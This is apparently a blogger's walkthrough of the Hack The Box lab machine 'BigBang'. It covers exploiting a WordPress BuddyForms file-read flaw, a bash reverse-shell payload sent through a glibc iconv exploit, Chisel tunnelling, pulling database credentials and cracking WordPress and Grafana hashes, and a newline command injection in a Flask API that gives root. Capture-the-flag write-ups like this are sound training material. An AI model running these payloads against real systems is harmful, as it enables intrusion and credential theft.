0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

3 May 2025

BigBang

by 0xW1LD

BigBang

Enumeration

nmap find the following ports open:

1
2
3
4
5
6
7
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-02 20:30 AEDT
Nmap scan report for bigbang.htb (10.10.11.52)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

HTTP on port 80 is running some sort of blog:

1
2
3
4
5
6
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerating further we can see that it’s running wordpress:

1
2
3
4
80/tcp open  http    Apache httpd 2.4.62
|_http-title: BigBang
|_http-server-header: Apache/2.4.62 (Debian)
|_http-generator: WordPress 6.5.4

ssh is showing an ECDSA and ED25519public key.

1
2
3
4
5
6
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d415771e822b2ff1cc96c628c1866b3f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBET3VRLx4oR61tt3uTowkXZzNICnY44UpSL7zW4DLrn576oycUCy2Tvbu7bRvjjkUAjg4G080jxHLRJGI4NJoWQ=
|   256 6c42607bbaba67240f0cac5dbe920c66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbYOg6bg7lmU60H4seqYXpE3APnWEqfJwg1ojft/DPI

Foothold

Bigbang is running a university blog: Front page of Bigbang's university blog Each time we load the page we can see a request to get buddyforms plugin:

1
2
3
4
5
6
7
8
9
10
11
GET /wp-content/plugins/buddyforms/assets/js/bf-render-js-big-bang.js?ver=6.5.4 HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://blog.bigbang.htb/
If-Modified-Since: Sun, 02 Feb 2025 09:37:35 GMT
If-None-Match: W/"4e6-62d2586a04667-gzip"
Priority: u=2

Looking around for a vulnerability we found: Buddyforms unauthenticated insecure serialization

Playing around with the site we can find the buddyforms form and see that we can upload an image.

1
action=upload_image_from_url&url=<URL>&id=1&accepted_files=images/png

The blog mentioned earlier recommends double url encoding, and so we create a request payload as so:

1
2
3
4
5
6
7
8
9
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

action=upload_image_from_url&url=phar%253A%252F%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd&id=1&accepted_files=image/gif

Here is the response we receive:

1
2
3
4
{
    "status": "FAILED",
    "response": "File type  is not allowed."
}

Seems theres some file upload validation, let’s use wrapwrap to create a php filter chain and add the magic bytes GIF89a

1
2
3
wrap /etc/passwd 'GIF89a\n' '' 1
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1982).

and send the resulting file as our url payload.

1
2
3
4
5
{
    "status": "OK",
    "response": "http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/02\/1-3.png",
    "attachment_id": 172
}

Let’s take the response link and put it into curl to download the image.

1
curl http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/02\/1-3.png -O 

We succesfully read /etc/passwd!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GIF89a\nMroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nol#

Based on the following blog, we can see that we can convert this file read to an RCE: Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)

An exploit was already made for us: exploit cve-2023-26326

1
python exploit.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/10.10.14.25/9001 0>&1"'

And we get a reverse shell as www-data

User

Looking around we figure out that we’re in a docker:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@bf9a078a3627:/$ ls -la
ls -la
total 72
drwxr-xr-x   1 root root 4096 Jun  1  2024 .
drwxr-xr-x   1 root root 4096 Jun  1  2024 ..
-rwxr-xr-x   1 root root    0 Jun  1  2024 .dockerenv
lrwxrwxrwx   1 root root    7 Feb 11  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Jan 28  2024 boot
drwxr-xr-x   5 root root  340 Feb  2 10:52 dev
drwxr-xr-x   1 root root 4096 Jan 17 15:00 etc
drwxr-xr-x   2 root root 4096 Jan 28  2024 home
lrwxrwxrwx   1 root root    7 Feb 11  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Feb 11  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 Feb 11  2024 media
drwxr-xr-x   2 root root 4096 Feb 11  2024 mnt
drwxr-xr-x   2 root root 4096 Feb 11  2024 opt
dr-xr-xr-x 236 root root    0 Feb  2 10:52 proc
drwx------   1 root root 4096 Jan 17 15:02 root
drwxr-xr-x   1 root root 4096 Feb  3 05:14 run
lrwxrwxrwx   1 root root    8 Feb 11  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Feb 11  2024 srv
dr-xr-xr-x  13 root root    0 Feb  2 10:52 sys
drwxrwxrwt   1 root root 4096 Feb  3 03:12 tmp
drwxr-xr-x   1 root root 4096 Feb 11  2024 usr
drwxr-xr-x   1 root root 4096 Feb 13  2024 var

We can find database credentials in wp-config:

1
2
3
4
5
6
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );

Let’s forward these ports using Chisel and connect to the database from our attacking machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#Attacker
./chisel server -p 8000 -reverse
#Target
./chisel client 10.10.14.25:8000 R:3306:172.17.0.1:3306
#Attacker
mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p'wp_password'
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2839
Server version: 8.0.32 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [wordpress]>

grabbing tables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SHOW TABLES;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.031 sec)

table wp_users looks interesting, let’s check what’s in it:

1
2
3
4
5
6
7
SELECT * FROM wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 |
| shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ |
+------------+------------------------------------+

bruteforcing the hashes:

1
2
3
4
5
6
7
8
9
10
11
john --wordlist=`fzf-wordlists` users.hash
find: ‘/usr/share/wfuzz’: No such file or directory
find: ‘/usr/share/dirb’: No such file or directory
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 13 [worst case UTF-8] to 39 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:01:30 10.72% (ETA: 19:27:56) 0g/s 18971p/s 37943c/s 37943C/s insomnie..ingo123
quantumphysics   (?)

Shawking’s password is quantumphysics, which we can use to ssh into the box

Pivoting

Let’s check for open ports

1
2
3
4
5
6
7
8
9
10
11
12
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        9      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 172.17.0.1:3306         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:36019         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Port 3000 is running Grafana and if we start to look around we can find the database:

/opt/data/grafana.db

transfering it over to our host and checking sqlite we find some credentials:

1
2
3
sqlite> select login,password,salt from user;
admin|441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
developer|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv

using grafana2hashcat to transform the hashes:

1
2
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

After cracking them we get a hit for developer’s password:

1
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang

So we have the following credentials developer:bigbang which we can use to pivot to that user.

Root

One other port was interesting which was 9090 Forwarded the port and looking at it seems, it seemed empty; however, fuzzing for directories found: /login and /command If we check developer’s home page, inside the satelite-app.apk/classes.dex we find the same endpoints:

1
2
3
strings classes.dex | grep 9090
#http://app.bigbang.htb:9090/command
!http://app.bigbang.htb:9090/login

we see:

1
2
3
# Method Not Allowed

The method is not allowed for the requested URL.

for both requests which suggests that a POST or other request method is needed, attempting this we get:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 415 UNSUPPORTED MEDIA TYPE
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Mon, 03 Feb 2025 09:29:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Connection: close

<!doctype html>
<html lang=en>
<title>415 Unsupported Media Type</title>
<h1>Unsupported Media Type</h1>
<p>Did not attempt to load JSON data because the request Content-Type was not &#39;application/json&#39;.</p>

Sending a request with blank json data:

1
2
curl http://localhost:9090/login -X POST -s -H "Content-Type: application/json" -d "{}"
{"error":"Missing username or password"}

Sending the request with developer’s username and password:

1
2
3
4
5
6
7
8
POST /login HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
content-type: application/json

{
"username":"developer","password":"bigbang"}

Provides us with the following response containing an access token:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Mon, 03 Feb 2025 10:27:54 GMT
Content-Type: application/json
Content-Length: 356
Connection: close

{
    "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU3ODQ3NCwianRpIjoiYmU3YWVkODUtZDVlZC00N2RhLWE0YzQtYWU3MjFjZDkwMjdjIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU3ODQ3NCwiY3NyZiI6IjMxZDk0MzJmLTNkOGQtNGI4Yi04MTNkLWFlMGY0ZDNkZThjYiIsImV4cCI6MTczODU4MjA3NH0.UXxBxnJkGo2LwgE3Ed8Tj0_0rHVJ0l3givKc01SWPeY"
}

looking at the /command end point in classes.dex we find the following:

1
{"command": "send_image", "output_file": <SNIP>

which shows us the proper commands that we can use, doing some trial and error, we get the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{"command":"send_image",
"output_file":"/home/developer/test"}
{
    "error": "Error generating image: "
}
{"command":"send_image\n touch /home/developer/test",
"output_file":"/home/developer/test"}
{
    "error": "Invalid command"
}
{"command":"send_image",
"output_file":"test;test2;test3"}
{
    "error": "Output file path contains dangerous characters"
}
{"command":"send_image",
"output_file":"/home/developer/test \n hi"}
{
    "error": "Error generating image: /bin/sh: 2: hi: not found\n"
}

which indicates a command injection when injecting a newline.

This vulnerability can be seen under: smali/q0/b.smali when the apk is decoded.

Some characters are sanitized however we can still get root flag by copying it and changing permissions:

1
2
3
4
5
{"command":"send_image",
"output_file":"/home/developer/test \n cp /root/root.txt /home/developer/"}

{"command":"send_image",
"output_file":"/home/developer/test \n chmod 777 /home/developer/root.txt"}

Just like that we have root!

tags: os/linux - diff/hard